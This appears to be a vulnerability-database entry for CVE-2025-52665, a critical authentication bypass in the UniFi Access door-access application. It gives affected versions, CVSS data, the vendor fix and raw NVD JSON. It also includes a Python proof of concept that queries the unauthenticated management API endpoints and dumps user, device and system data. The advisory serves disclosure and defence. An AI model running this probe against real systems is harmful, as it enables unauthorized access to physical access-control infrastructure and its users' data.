Security Vulnerability Report
中文
CVE-2025-52665 CVSS 10.0 CRITICAL

CVE-2025-52665

Published: 2025-10-31 00:15:37
Last Modified: 2025-11-12 14:51:21

Description

A malicious actor with access to the management network could exploit a misconfiguration in UniFi’s door access application, UniFi Access, that exposed a management API without proper authentication. This vulnerability was introduced in Version 3.3.22 and was fixed in Version 4.0.21 and later.  Affected Products: UniFi Access Application (Version 3.3.22 through 3.4.31). 
 Mitigation: Update your UniFi Access Application to Version 4.0.21 or later.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ui:unifi_access:*:*:*:*:*:*:*:* - VULNERABLE
UniFi Access Application 3.3.22
UniFi Access Application 3.3.x
UniFi Access Application 3.4.x (through 3.4.31)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-52665 PoC - UniFi Access Authentication Bypass # Target: UniFi Access Application (Version 3.3.22 - 3.4.31) # Note: This PoC is for authorized security testing only TARGET_IP = "target_ip" PORT = 8443 BASE_URL = f"https://{TARGET_IP}:{PORT}" def check_vulnerability(): """Check if target is vulnerable by accessing the management API""" headers = { 'Content-Type': 'application/json', 'User-Agent': 'UniFi Access Manager' } # Try to access user management endpoint without authentication endpoints = [ '/api/users', '/api/devices', '/api/access-points', '/api/settings' ] for endpoint in endpoints: try: response = requests.get( f"{BASE_URL}{endpoint}", headers=headers, verify=False, timeout=10 ) if response.status_code == 200: print(f"[+] Vulnerable! Endpoint {endpoint} is accessible without auth") print(f"[+] Response: {response.text[:500]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False def get_system_info(): """Gather system information if vulnerable""" try: response = requests.get( f"{BASE_URL}/api/system/info", verify=False, timeout=10 ) if response.status_code == 200: return response.json() except: pass return None if __name__ == "__main__": print("CVE-2025-52665 PoC - UniFi Access Auth Bypass") print("=" * 50) if check_vulnerability(): print("[!] Target is VULNERABLE to CVE-2025-52665") info = get_system_info() if info: print(f"[+] System Info: {json.dumps(info, indent=2)}") else: print("[-] Target appears to be patched or not UniFi Access")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52665", "sourceIdentifier": "[email protected]", "published": "2025-10-31T00:15:37.000", "lastModified": "2025-11-12T14:51:21.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A malicious actor with access to the management network could exploit a misconfiguration in UniFi’s door access application, UniFi Access, that exposed a management API without proper authentication. This vulnerability was introduced in Version 3.3.22 and was fixed in Version 4.0.21 and later. \n \nAffected Products:\nUniFi Access Application (Version 3.3.22 through 3.4.31). 
 \n\nMitigation:\nUpdate your UniFi Access Application to Version 4.0.21 or later."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ui:unifi_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.22", "versionEndExcluding": "4.0.21", "matchCriteriaId": "462D7AD2-7A8F-44C9-BA36-D7B9905A1762"}]}]}], "references": [{"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-056/ce97352d-91cd-40a7-a2f4-2c73b3b30191", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}